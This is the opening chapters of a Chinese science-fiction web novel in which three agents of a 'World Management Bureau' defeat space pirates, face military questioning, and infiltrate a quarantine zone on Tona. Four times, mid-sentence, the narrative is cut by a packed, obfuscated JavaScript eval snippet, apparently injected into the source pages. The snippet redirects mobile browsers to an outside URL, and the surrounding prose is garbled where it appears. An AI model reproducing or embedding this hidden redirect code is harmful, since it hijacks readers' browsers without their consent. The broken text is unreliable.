《星际打工人》 1. 星盗劫船 “咳咳咳。” 浓重的烟雾席卷了整艘飞船,飞船内能见度极低。 乘客们四散逃亡,溅落的金属零件时不时砸在某个倒霉蛋的身上。 飞船控制室内,两伙人大打出手。 ……准确点来说,是一位青年正在对战一伙星际大盗。 而那青年的两位同伴,正站在一旁悠哉悠哉地观战。 同伴之一的女生捂着鼻子,不耐烦道:“万森,你打人能别老往控制台上砸吗?” 短短几分钟,她见证了制作精良的控制台变成废墟的全过程,看得她心惊肉跳。 完美的星际时代产物,堪称艺术品的制作成果,还没来得及叫她好好观摩,就被这臭小子毁于一旦。 可悲,可叹。 另一位男生眼眸一转,身影快速靠近控制室门口,反手制住了偷偷拍照的某人。 这种混乱的局面不逃命,还想着拍照? 偷拍者吓得一屁股坐在了地上,连忙摇头摆手道:“各位……大侠!我不是星盗!我不是!” 他急于撇清自己,黑框眼镜摔在地上都浑然不觉。 记者证被他从怀中掏出,印着些许血迹。 他将证件高高举起。 “这是我的证件,我是正规记者,我就想拍一下热点!” 男生嘴唇轻启,冷冷吐出一字:“滚。” 记者得到赦免,手脚并用、连滚带爬地跑出控制室。 女生上前捡起记者遗落的眼镜,不禁感慨。 “星际的记者都这么不要命的?” 转头她又兴致勃勃地研究起眼镜。 “这工艺……” 没等她观察完,那边的战局已经结束。 星际大盗们齐齐躺在金属地面上,鼻青脸肿,胸腔内微微起伏,略有呼吸。 男生齐砚问:“没死吧?” 万森拍拍他的肩膀,“放心吧老齐,我做事最有分寸,都晕过去了而已。” 女生柳言嗤笑一声,明显对他这话十分有九分的不信。 齐砚点头,“这是最后一队星盗了。” “现在怎么办?”万森挠挠头。 三人说来倒霉,本是要坐飞船去托纳星完成任务,不料途中星际大盗劫持飞船,他们无端卷入了这场争斗之中。 待他们发现时,飞船之上所有工作人员都被星盗屠杀殆尽,数十名乘客也惨死在星盗手下。 更糟糕的是,飞船被星盗设置了自动行驶,目的地是著名的恶人星——巴利星。 巴利星不在维斯帕帝国的管辖范围,几十年前是颗荒星,近年来由臭名昭著的星盗团伙“德尔罗”占领成为根据地,成为现在人人避之而不及的存在。 可以说,进了巴利星,再想出来简直是难如登天。 况且控制台被万森这缺心眼的破坏了,柳言即使想改变航向,也无从下手。 齐砚缓缓开口:“飞船遇袭,行驶员理应第一时间发送紧急信号给总部。但已经过去了一个多小时,总部还没有来截停。” “恐怕……” 柳言接上话茬:“恐怕信号根本就没发出去。” 她手中是刚从一星盗身上搜出的随身智脑,智脑中信号格一片空白。 女孩对比自己的智脑,上面显示的满格信号显得如此虚假。 ……也是,都胆大包天到劫持星际飞船了,不可能连信号这种东西都搞不定。 智脑是星际中一种便携式无线通讯设备,通常以手环的形状佩戴在手腕上,小巧轻便。 既可以连接网络查找信息,也可以存储数字货币实现资金往来等,用处广泛,是每位星际居民必不可少的重要设备。 女生微微眯起眼睛,沉思道:“既然有信号屏蔽,必然是通过某种装置,而且星盗身上肯定有能够绕过信号屏蔽联系总部的通讯设备。” “万森,星际救援最快记录是多少?” “好像是……半小时?” 柳言用智脑找出一张星图,“从星盗登船到现在大约过了一小时四十八分钟,星盗上船时,飞船应该刚接近德卢星,用上船十分钟后来预估改变航向的初始时间……” 万森听得脑袋都要晕了,但还要假装听得懂,时不时点头附和两声。 一通分析之下,最终柳言得出结论。 “我们还有大约四十分钟到达巴利星,按最快救援记录加五分钟容错,五分钟内必须找出信号屏蔽器,发出求救信号。” “我们才有生还的可能。” 齐砚淡笑,看向万森:“愣着干嘛?找吧。” 万森回过神来,立马开始寻找所谓的信号屏蔽器,可转头想了想,又觉得不对劲。 他一不知道那东西长什么样,二柳言又没告诉他能放在哪儿,偌大的飞船他得找到什么时候? 待他重新回到控制室,不曾想那两人正一副看戏姿态,半点看不出事态紧急。 他反应过味儿来。 “你们俩……耍我!” 齐砚挑了挑眉,“四分钟,我赢了。” 柳言恨铁不成钢:“万森你这破脑袋,就不能机灵点?” 她还是把万森想聪明了…… 实际上,破解信号屏蔽的方法不止有破坏信号屏蔽仪,反向攻击信号屏蔽仪的干扰信号,也不失为一种好方法。 在柳言掏出星图前,就已经破解成功,并将求救信息发给总部,之后一切的一切……都是为了逗万森玩罢了。 也亏得各个世界的信号屏蔽原理都大差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834746|191229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不差,柳言才能将其他世界的经验用到此星际世界。 万森咬牙切齿,“真是恭喜你了老齐。” “这回你们俩赌的什么?” 很显然,这已经不是第一次,万森甚至有些习以为常。 柳言颓然道:“十积分。” 万森一听直接开始耍无赖,“我不管,老齐你得分我一半,这里可有我大功劳。” 齐砚敷衍应下,心里盘算着回去怎么打发这小子。 事实上,三人均不属于这个世界。 他们来自同一个世外组织,名为世界管理局。 世界管理局,简称“世管局”,负责管理各个世界的稳定发展,如果世界内出现重大变故,导致该世界有百分之五十以上的概率偏离原定路线,那么世管局就会插手,派遣人员进行世界□□工作。 柳言三人便是因此而来。 每次任务按照难度高低,给予员工报酬大约在十积分到一百积分之间,这次的任务很简单,因此结束后三人各获得十五积分。 这也是为什么,万森一听两人赌的十积分,如此激动。 这几乎赶得上一次简单任务的报酬。 宇宙飞船内的广播被外来频道接入,广播内传出严肃的男声。 “舱内所有星盗人员注意,这里是帝国星际军第七巡航舰队作战指挥中心。你们当前所处的飞船已被我方完全封锁,你们已无任何逃脱可能。” “现责令你们在3分钟内,立即放下所有武器,双手举过头顶,前往 C5 公共舱段指定区域集合待命。重复,立即放下所有武器,前往 C5 公共舱段集合!” “若超时拒不配合,我方将依法采取强制措施,一切抵抗行为造成的后果均由你们自行承担!” 聚在一起抱团取暖的乘客们一听到这安心的声音,不禁感动到痛哭流涕,仿佛忘却了身体的伤痛,灰暗的眸子纷纷重现希冀。 可在星际军没上船之前,他们也不敢轻举妄动,生怕下一秒星盗们就从哪里冒出,气急败坏地想拉他们一起上路。 齐砚疑惑道:“你们没告诉他们星盗已经被搞定了吗?” 柳言以为齐砚指的“他们”是帝国星际军,万森以为指的是乘客。 两人同时开口。 “说了,可能他们不信吧。”柳言无可奈何道。 “我说了,他们都不信。”万森撇撇嘴。 一群训练有素武器精良的星际大盗,被一个手无寸铁的年轻人打败,无论是这两方的哪方确实都很难相信。 因着星盗们都安然入睡,星际军的行动异常顺利,顺利到指挥官下意识以为有诈。 三人被“请”到星际军战舰的审讯室。 享受一人一间的豪华待遇。 2. 无情审讯 指挥官坐在审讯室监控前,瞧着三人的身份信息一阵头疼。 除了出生年月和地址,教育经历、从业经历一片空白,甚至都是孤儿,三个人凑不出一个三代以内直系亲属。 三间审讯室内,军官不停盘问着。 “你们三人之前认识吗?” 齐砚冷漠否认,“不认识。” “星盗真的是万森一个人解决的?” 柳言眯了眯眼睛,对面前强烈而刺眼的白光很不适应。 “谁是万森?长官,我已经回答这个问题三遍了。真是那个傻大个一个人干的,跟我一点关系没有。奥……那个傻大个就叫万森吗?” “飞船上的信号屏蔽你们是怎么解决的?” 万森一脸困惑,“又不是我解决的,你们想知道,问那个女生去呗。” 三人的口供完全对得上,挑不出半点破绽。 仿佛他们三个真的是碰巧坐同一艘飞船,碰巧聚在一起通力合作,碰巧都是孤儿…… 太多的巧合集中在一起,便还是巧合吗? 指挥官李立轩揉了揉眉心,问道:“监控调出来了吗?” 副官摇头,“李指挥,监控坏了。” “怎么坏的?” 副官支支吾吾,话在口头又不说。憋了好一会他才答道:“查不出来。” 这下指挥官更头大了。 怎么今天什么离谱事都让他碰到了? “监控零部件都是完好,云端程序也没有问题,但就是查看不了。”副官一脸为难。 李立轩怔愣了下,就在这时,他的视线不经意间扫过监控右下角的分镜,瞥见了监控器中的齐砚。 下一秒,那男生像是感应到什么,缓缓抬起头。 没有预兆,没有缓冲,那双淡漠的眸子精准地与监控器另一端的他对上视线。 李立轩久违地感觉到了头皮发麻。 “李指挥?” 身旁的副官见他半天没反应,忍不住轻唤一声。 “嗯。”男人应了声,回过神来,“现场乘客都查过了吗?” 副官答:“都查过了,没有问题。关于那三个嫌疑人,乘客们大多都没给出有用信息,只有一位新星社的记者,拍到了这个。” 副官将一张照片投放在大屏上。 画面背景是一片狼藉的飞船驾驶室,混乱的场景中,三道身影显得格格不入。 一男一女懒散地靠在舱壁上,仿佛眼前的打斗与他们毫无关系。 女生身姿苗条,一身简单的休闲装却掩不住骨子里的清冷气质。她轻掩着鼻子,目光紧紧锁定在控制台上。 男生身形修长,衬衫袖口随意地卷到小臂。他微微侧过脑袋,若仔细观察,便能发现他的眼神已经留意到了镜头。 最惹眼的是站在中间的青年。他正单脚踩在一名星盗的胸口,右手扣着对方持刀的手腕。 对面的星盗满脸横肉,刀疤狰狞扭曲。 这可怖的模样足以让寻常乘客魂飞魄散,可青年却眉峰微挑,嘴角带着漫不经心的弧度。 好似不是在与穷凶极恶的星盗搏斗,只是在把玩一件无关紧要的小玩意儿,举手投足间透着股游刃有余的从容。 李立轩的目光在照片上停留了足足半分钟,呼吸忽然乱了半拍。 “他们今年多少岁?” 副官答道:“三人都是星际5078年生人,今年19岁。” 19岁。 一个技术精湛、天赋异禀。 一个暗藏警觉、不动声色。 一个直面凶险、游刃有余。 是该上大学的年纪了。 如果他们的身份是三大校军校生,李立轩会觉得这一切稀松平常。 可他们偏偏没有受过任何系统性的教育。 如同浮萍,轻轻地来到这世界,一走一过不留下任何线索。 在审讯室足足坐了一下午,出来时柳言锤了锤自己的老腰。 “星际太没有人性了。” 万森也蔫了,“饿……” 他饿得连一句话也说不出来,整个人仿若行尸走肉,失魂落魄。 齐砚和柳言翻遍浑身上下,勉强找出来两包口香糖。 “……无糖口香糖,行吗?”柳言无奈。 三人被请到李立轩的办公室喝茶。 这回是真请。 万森饿极了,将李立轩的上好龙井“咕隆咕隆”几下消灭殆尽。 李立轩的心如滴血一般疼痛,险些呕出几口老血,手里空着的茶杯端起又放下。 他本想敬一下茶打开话题,但这茶没了,一时间气氛略微尴尬。 万森喝完茶便瘫在沙发上一动不动。 李立轩嘴角抽抽,“他没事吧?” 柳言还在保持人设,“嗯……我猜测应该是饿昏了。” 还好齐砚有点正事。 “您叫我们来,是还有什么要问的吗?” 李立轩自知失态,立马恢复自己身为指挥官的架子,正襟危坐。 “三位小朋友今天受累了,这也是必须走的流程,希望你们体谅。” 齐砚面不改色,“理解。” 柳言闭口不言,反正这种官方问答交给齐砚就好了。 “这次事件中,你们非常勇敢,也非常可敬。在险境敢于站出,贡献自己的一份力。如果没有你们,后果我们无法想象。依照维斯帕帝国律法,我们将为你们颁发见义勇为奖,还有奖金一万星币。” 齐砚宠辱不惊,滴水不漏地答道:“作为帝国公民,这都是我们应该做的。” “介于这次事件涉及到星盗团伙的特殊性,我们的奖项只作记录,就不公开表彰了。一会儿会有专人带你们登记,奖金十五个工作日内打到你们的账户上。” 一说起奖金,柳言终于来了精神,问:“奖金是一个人一万星币?” 李立轩皮笑肉不笑地摇摇头,“是一共一万星币,你们可以自行分配。” 柳言一副果然如此的表情。 “除此之外,抛开指挥官的身份,我个人想求证你们一些私人问题,可以吗?” 虽然他的语句是疑问,但语气有着不容置疑的肯定。 看似请求,实则盘问。 齐砚依旧有礼,“您问。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834747|191229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三位小朋友真的没有经过任何系统性的训练吗?依照现场的监控,你们的身法和手法都及其老练,不像是初次施展。” 又在诈。 齐砚很确定他绝对看不到监控画面,柳言也绝对相信齐砚做事的缜密,至于万森…… 这人已经睡成死猪了。 柳言“扑哧”笑出声,“大叔,老练吗?我就随便搞搞没想到真成功了,看来你们这东西也没多少含金量嘛。” 女孩的无礼甚至于挑衅,将本身对峙的局面轻松化解,避重就轻。 让李立轩无法就着由头追问下去。 “这么说来,三位小朋友当真是天赋异禀了。”他的目光在三人脸上逡巡片刻。 李立轩明白再问下去也没有意义,总算放三人离开。 收尾工作结束后,三人被战舰送到就近的奥卡莫星。 奥卡莫星是维斯帕帝国的超一线星球,经济繁荣,科技超前。 街上游荡的各种高科技设施叫柳言几乎看花了眼。 这是她第一次做星际类世界的任务,也是第一次亲身体会到最尖端科技的成果。 “不是吧,你竟然第一次来星际……”万森感到不可思议。 柳言是他见过最痴迷机械的人,一研究起来这些玩意就没日没夜,不搞懂都不带出门。 因为研究,曾创下七天只睡了五个小时的光荣战绩,在万森看来简直反人类。 世管局的任务指派一般以员工的个人意愿为主,员工有极大的权利选择做哪些任务。 在众多类别的任务世界中,星际类世界是公认的尖端科技世界。 柳言入职了这么多年,没理由没去过星际。 “我权限不够。”柳言看他的眼神像在看智障。 星际类世界同样是公认的高风险世界。 任务者若在小世界中死亡,就等同于真正死亡。 所以在指派任务时,如果任务者的评级低于小世界任务的预估等级,是不被允许参加的。 柳言与万森这类只懂得凭借蛮力行事的人不同,她偏向于技术型任务者。 这样的评价体系要求她的等级必须比该任务世界至少高出两个等级,才具备参加的资格。 即便她早就想来星际,也必须乖乖在其他世界历练,直至达到星际世界所要求的技术类等级。 “我忘了这回事了!”万森一拍脑袋。 三人这次的任务较为简单。 近期,世管局发现各个小世界稳定程度越来越差,多方调查发现一类名为“瓦格多宇宙联会”的组织,世管局内部职员都习惯把他们称为“宇宙垃圾”。 它们能够穿梭于各个小世界之间,并按照每个小世界的实际情况,来变换破坏方式,可谓“对症下药”。 不过下的是毒药。 所谓知己知彼,方能无往而不利。 调查维斯帕帝国的宇宙垃圾,获取尽可能多的情报,便是三人此行的目的。 “不太对。”齐砚瞧着智脑搜索到的消息微微皱眉。 万森凑过去,“怎么了老齐?” “你见过星际世界……有神族的吗?” 3. 购买飞船 “啊?”柳言盯着齐砚的智脑出神。 这完全是两个体系好不好??? 所谓科技程度越高,人们对于神的向往也越淡薄。 虚无缥缈的神族,在一般的星际类世界中,是只存在于泛黄典籍与奇幻传说里的词汇。 三人进入小世界之前背调的资料里,也完全没有记载过类似的存在。 此刻这两个字如同一记重锤,打得他们措手不及。 只见智脑的新闻头条上挂着火红色炸眼的标题。 #神之现世!第二十三届全国军校联赛冠军队伍将获得进入神殿资格!# 标题下方悬浮着神殿的全息投影。 白玉为阶,琉璃作瓦,飞檐上栖息的金翅鸟雕像栩栩如生。 神殿建筑气势恢宏,光是透过图片三人都能感受到那淡淡的圣洁气息笼罩其上。 “好像还真是神族。”万森目瞪口呆,下意识地揉了揉眼睛。 三人都曾在仙侠类世界的任务里与神族打过交道,对神族自然也是熟悉不过,是真是假一眼便知。 空气仿佛在这一刻凝固,三人面面相觑,眼里都映着同样的震惊与迷茫。 齐砚最先定了定神,“我待会儿写份报告,汇报给世管局。” 柳言和万森均是点了点头。 神族一事并不在三人的职责范畴内,他们所能做的仅仅是如实上报。 处理星盗耽误了太多时间,三人决定即刻启程去往最初的目的地——托纳星。 以防夜长梦多,这回三人打算租赁一艘私人飞船自行驾驶。 “托纳星?太远了太远了租不了,那边可没有我们的停靠点。” “去那鸟不拉屎的地方干嘛?走走走。” “三位啊,那地方太乱了,我看你们还是别问了,没哪家公司敢借你们去的。” 三人走遍了奥卡莫星的私人飞船租赁点,均以失败告终。 除了官方的飞船,私人的飞船都不敢去托纳星。 托纳星位于维斯帕帝国的边境,常年战乱,且有一半区域都被虫兽占领,民不聊生。 有能力的早早就从其中搬了出来,剩下的要么是穷困潦倒、腿脚不便的老人,要么是为了躲避帝国追捕的逃犯黑户,要不就是一些小型星盗团伙。 总之,是个有脑子的人就不会去那里。 万森一边咬下一口烧饼,一边口齿不清说道:“那我们还是得坐官方的去了,但是我看¥#%&*” 柳言捂上他的嘴。 “东西咽下去再说话。” 齐砚无奈地摇摇头:“他应该说的是,最早一班去托纳星的飞船也要一个星期后了。” 万森连连点头,对齐砚发出赞许的目光。 三人正值一筹莫展之际,一个贼头贼脑的中年男人突然靠近他们。 “三位,想要私人飞船?” 他操着一口奇怪的口音,说话时总是时不时观察四周,鬼鬼祟祟。 齐砚上下打量了他两眼,“你有?” 男人瞧齐砚接话,语气更盛,“不仅有,我还可以卖给你们,附加一张全星域通行证,你们想去哪里就去哪里。” “嘿嘿,只要……这个数。”他悄摸摸地比了个数字五。 “五万?”柳言挑眉。 男人“啧”了一声,“是五千!” 五千星币,连租一天都租不到的价格。 三人知晓有诈,却也想看看这套路究竟为何。 齐砚面色如常,“带路吧。” 三人跟着男人穿过闹市区,走过满是垃圾的僻静小路,左拐右拐终于来到目的地。 臭气熏天的垃圾山中央,停着一艘所谓的飞船。 男人兴致勃勃地上前为三人介绍,还亲自到驾驶舱启动示范。 飞船外皮生锈,稍微动一下就“吱呀吱呀”响,好似随时就要散架,实在不像能起飞的样儿。 但飞船就这么颤颤巍巍地脱离了地面半米,随后归于原位。 万森惊讶道:“还真能开。” 男人下来一脸骄傲,“我这飞船还有个优点,各位有所不知。” 柳言狐疑,“什么优点?” “这几天星盗出没频繁,你们要是坐私人飞船,指不定被打劫。我这艘飞船,这朴实无华的外表,星盗绝对看都不看一眼!” 三人无语。 但道理……确实也是这么个道理。 别说打劫,星盗看着都得躲着走。生怕这飞船不小心哪个零部件坏了,坠毁把他们也连累。 柳言上前观察了一圈。 能源箱小了点,好歹能用。 控制台灰太大,擦擦也行。 座位太硬,忍忍得了。 齐砚瞧着女孩,问道:“怎么样?” “……能用。”这已经是柳言能给出的最高评价了。 该说不说,这飞船简直是BUG上长了艘船。 虽然零件组装的方式很离奇,但意外地可以正常运行。 思量片刻,柳言拉着齐砚来到一边,压低声音道:“能源箱太小了,一路上我们至少要加八次能源才能到目的地。” “而且不仅是老旧这么简单,这艘飞船被人为改装过,零件几乎都被换了一遍。” “托纳星情况复杂,我不确定这艘飞船能不能支撑到我们返航。” 万森不知何时也悄悄凑了过来,“返什么航,我们做完任务不就走了,只要能把我们送过去就成。” 齐砚垂下眸子,“现如今,也只能这样。” 如柳言所料,这艘飞船果然不是正规飞船,交接时竟然仅签署了一份购买合同,除此之外,再无其他正规的手续。 那男人收完钱,喜滋滋地离开。 柳言的目光扫过合同,最终定格在落款处。 【乙方:崔翰学】 本着船到桥头自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834748|191229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然直,三人采购了些吃食便上路了。 一路上果然顺利,一伙星盗都没碰到。 就是每次去能源站补给能源时,总能收获一众探究的目光。 三人磕磕绊绊终于到了托纳星。 这里除了一个官方飞船停靠点,再没有看起来正规些的建筑了。 各色人影行色匆匆,都把自己包裹的严严实实,生怕什么值钱的漏出来被抢了去。 “哇,这和奥卡莫星差太多了吧。”万森感慨。 一下子从繁华大都市到边境荒凉地,感受可谓天差地别。 正午时分,破败的街道隐约散发一股尿骚味,时不时深巷传来几声狗吠。 三人走了约莫十分钟,没瞧见一个年轻人。 即使早有准备,鸭舌帽、黑口罩,全身上下只露出一双眼睛,一行人沿途也吸引了不少恶意的凝视。 大金旅馆,三人勉强找到的环境整洁的旅馆。 一进门,老板翘着二郎腿坐在前台,摇着蒲扇、抽着烟,一口黄牙吐出烟圈,飘散到三人面前。 柳言下意识皱了皱眉。 客人到来,老板头也不抬,懒散道:“要什么房,几间?” 齐砚:“一间家庭亲子房。” 年轻的声音叫老板终于舍得抬眼,他怪异的目光扫过三人,在柳言身上停顿了片刻。 齐砚默不作声微微上前,挡住老板的视线。 “200星币一天,押金100星币,住几天?”老板站起身锤了锤老腰,从前台的抽屉撇出把钥匙。 “三天。” “付款吧,续房提前两小时通知。”老板伸出自己的智脑,投影出付款码。 付款成功声音传来,老板又坐回椅子上,小口抽着烟。 只是那目光,始终追随在三人身上。 进入电梯,万森感觉身上似有蚂蚁般瘙痒。 “噫,那老头子眼神好恶心。” 齐砚瞧了眼万森,对他比了个噤声的手势。 柳言观察着电梯的构造,脑中似乎思索着什么。 三人进入房间,关上房门。 “这破地方也太压抑了,连空气都一股霉味。”万森嘟囔着。 他脚步不停,绕着房间好奇地打量着。 齐砚没理会他的抱怨,转头便看见柳言已经坐在沙发上。 她的指尖在智脑屏幕上滑动着,一张建筑图纸投影在眼前,线条清晰地勾勒出大金旅馆的构造。 “那老板不是个善茬。”他嘱咐道。 柳言满不在意地接话:“能在这里生活的,哪有好人啊。” 女孩头也不抬,不知在图纸上忙着捣鼓什么。 齐砚想起电梯里柳言若有所思的模样,追问:“你刚刚在电梯里发现了什么?” 柳言深吸一口气,关掉投影界面。 “不重要。” 一切和任务无关的,都不重要。 4. 闯隔离区 夜半时分,三个人影悄悄退房离开了大金旅馆。 临走前,那老板故作热情地询问着三人接下来的打算,或是误以为三人是来托纳星的游客。 齐砚随口寻了个说辞搪塞过去。 托纳星的夜,风呼啸而过,吹得人直站不住脚。 三人来到飞船停靠点,此地距离虫兽盘踞的隔离区仅有一小时路程。 飞船摇摇晃晃地升起,驶向虫兽隔离区。 柳言设置好自动驾驶后,翻看确认着自己斜挎包内的物品。 收集器、气味消除剂、眼镜、微型定位器、干粮……都齐了! 这三天来,三人白天穿梭在托纳星的大街小巷,采购所需物品。晚上则围在房间里,制定潜入隔离区的计划。 在虫兽与人类边境的分界处,军方建造了坚固的边境墙,还在空中配备了用于制衡飞行类虫兽的专属音波装置。 边防军全天候站岗监控,以防虫兽突破防线闯入人类家园。 谁曾想今日竟有三人头铁地要进去。 潜入隔离区只有两种方式。 第一种,是靠齐砚的异能【精神控制】,屏蔽隔离区边境严防死守的人和各类武器,直接开飞船进去。 世管局任务者通常在转正后,可以选择或创造一项异能。异能只能在小世界内使用,用于辅助任务者完成任务。 第二种方式,则是从虫兽隔离区的后方切入,那里军力薄弱,但虫兽的实力也更未知。 整个托纳星的面积中,隔离区足足占了一半。 边防军所做的仅仅是将这半部分封闭起来,严加看守与人类生活区接壤的一小部分。 毕竟,隔离区范围的跨度之广、区域之散,早已超出常规布防的极限。 若是每个部分都要配备精锐值守,哪怕是拉来整个星际的军人都不够。 依照三人现有的资料来看,强大的虫兽往往隐藏在隔离区的深处,也就是后方。 三人一番商议下,选择了第一种方式。 人尚且对齐砚来说是可控因素。 假如选择第二种,在进入隔离区后不幸碰到了极其凶悍的虫兽,三人的任务还没开始,恐怕就要结束了。 飞船即将靠近边防军范围,柳言与齐砚对视一眼,“可以了。” 齐砚闭起双眼,额头不多时冒出丝丝细汗,顺着鬓角滑入衣领。 这样的状态一直持续到三人的飞船进入虫兽区。 飞船如同进入无人之境般穿过边境墙,深入虫兽腹地。 突然,齐砚睁开双眼,贪婪地大口呼吸着空气,后背已被冷汗浸湿。 万森递过一瓶水,“你的异能权限被压的挺狠啊。” 根据每个任务世界不同的评定等级,世管局会开放不同程度的异能权限。此条规定是为了防止异能的滥用。 如果是仙侠类人人修仙的世界,异能便能伪装成仙法使用,自然权限也大。 但像一般的星际类世界,本身没有异能的存在,任务者能调用的异能非常有限。 本次任务,齐砚的异能权限只有可怜的8.7%。 而他的异能【精神控制】,便是能将自己的精神力化为实质运用。 所谓想象力越大,能力就越大。 上至干扰监控,下至迷惑他人,外出干坏事没烦恼,用了都说好。 一款万能实用型异能。 “什么?就8.7%?真是太没人性了。”万森惊叹 “那你呢小言言,你多少?”他随之好奇地问。 柳言的异能【精算】,不带有攻击性。 “11.5%大概。”柳言回忆了一下。 万森得意道:“我比你们两个都高,我有15%!” 他的异能是化虎,顾名思义就是从人形化到虎的形态,力量、速度等数值都会翻倍提高。 但其实……万森即使不化虎形,也能调用异能提高身体数值,所以柳言一直不理解,他非要在异能里加个虎形是什么思路。 每次提到这里万森总会神秘一笑。 引得柳言一阵恶寒。 控制台“嘀嗒”一声,柳言思绪回来。 “能源快用完了,我们得就近停下。”女孩盯着控制光屏。 齐砚揉了揉眉心,“正西103米处虫兽较少,地形平缓,适合停靠。” 柳言收到指令,变换方向。 飞船缓缓下落,三人轻手轻脚地下船。 任务资料中提到,宇宙垃圾混入了虫兽隔离区之中。 三人此行便是完成第一阶段任务——深入虫兽生活区,找出宇宙垃圾,以便世管局开展接下来第二阶段的行动。 “虫兽”在帝国不是一个族群,而是帝国的外来侵略者虫族和兽族合并在一起的简称。 两族在侵略初期各自为营,因此战场上时常发生虫兽人三方互殴的混乱情况。 不过也由于两方的制衡,在初期人类的应对还显得游刃有余。 没人能说清变故是从何时开始的。 只记得近年来,虫族与兽族之间渐渐少了敌意,多了份共同的贪婪。它们开始共享情报、协同进攻,统一把矛头对准人类。 帝国边境节节败退,边境星的烽火昼夜不熄,人类曾经的家园接连失守,最终沦为虫兽肆虐的乐园。 十年前的“托纳星战役”,是帝国历史上最具重大意义的战役,是一场由血泪书写的恶战,更是帝国人民心目中永远不能忘却的痛。 托纳星在当时被称为“帝国最后的防线”,如若托纳星沦陷,虫兽的铁蹄将长驱直入,帝国也将不复存在。 最终托纳星能守住一半领土,如今回望已堪称奇迹。 那年,那场战役,太多英才还未大展拳脚,便陨落在托纳星的土地之上。 人类虽然勉强守住边境国土,但也元气大伤。 经济倒退、人才断档、技术停滞…… 维斯帕帝国享受了十年的和平,也度过了十年的沉寂,用任何负面词汇来形容那黑暗的十年都不为过。 十年后的今日,维斯帕帝国终于重回当初的繁荣景象。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16834749|191229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虫兽们却也卷土重来,在边境线外蠢蠢欲动。 所有人都期待着这场无休止的战争能够早日结束。 孩子们不必在防空洞里听着炮火声入眠,战士们不必用生命填补防线。 可当人们抬头望向星空,看着那片依旧被阴霾笼罩的边境,又不得不认清一个残酷的现实。 这场战争的尽头,似乎真的遥不可及…… “什么时候了,还在看资料。”柳言轻敲了下万森的脑袋。 万森捂着脑袋辩解,“我再确认一下,资料里有没有提到过类似神族的组织。” 齐砚淡笑,接过话茬:“有吗?” “没有。嘶……其实我有一个怀疑。”万森微眯眼睛。 “有屁快放。”柳言打断了万森的故作玄虚。 万森哀怨地看着柳言,“你们说,有没有一种可能,我是说可能,这个世界的宇宙垃圾就是所谓的神族。” 齐砚与柳言对视一眼。 柳言一副不想搭理他的表情,“说的很好,下次不要说了。” 齐砚也敷衍地笑了笑。 万森瞧两人都对他这个天才的想法不屑一顾,内心直呼两人真没眼光。 但不敢真的说出来。 黑暗包裹着整片森林,不留一丝光亮。 腐败的气息混杂着某刺鼻的怪味钻入三人鼻腔,即使隔着面罩,也无法完全消除这气味。 远处传来令人牙酸的刮擦声,黑夜正是许多虫兽活跃的时间。 三人全副武装,防护服包裹得严严实实,这装扮即使亲妈来了也要辨认几分钟谁是谁。 “都喷一下气味消除剂。” 柳言从随身小挎包里拿出一瓶喷雾,给自己一顿狂喷。 待她确认全身上下没有一个地方遗漏后,又想如法炮制给万森喷,不料被他制止。 万森颤抖了下嘴唇,费老大劲从女孩手中抢过喷雾,“我自己来就行。” 柳言明显对他如沐春风般温柔的喷法很不满意。 总算做好所有准备工作,齐砚打开一张地图规划三人路线。 “以我们现在的方位为原点,万森你去北边,那边大型猛兽较多,注意躲避。”齐砚有条不紊地安排。 “好。”万森收起嘻嘻哈哈,严肃认真起来。 “柳言你去南边,小型剧毒虫类较多,小心行事。” 女孩点点头。 “我走东边。一路上我会尽可能感知你们的位置,有任何情况,及时联系。” 齐砚嘱咐道:“七天后,不管任务完没完成,都要在这里集合。” 沟通好事宜,三人正式开启本次星际世界的任务。 柳言本想白天进入虫兽区,因为就现在所掌握的资料来说,大部分虫兽都是昼伏夜出。 但齐砚觉得白天要穿过边防军防线难度过大,晚上有夜色掩护,便于穿行。 三人这么一合计,选了个折中的凌晨时分。 柳言抬手看了眼智脑显示的时间。 凌晨两点三十分。 5. 鳞脊刺蜥 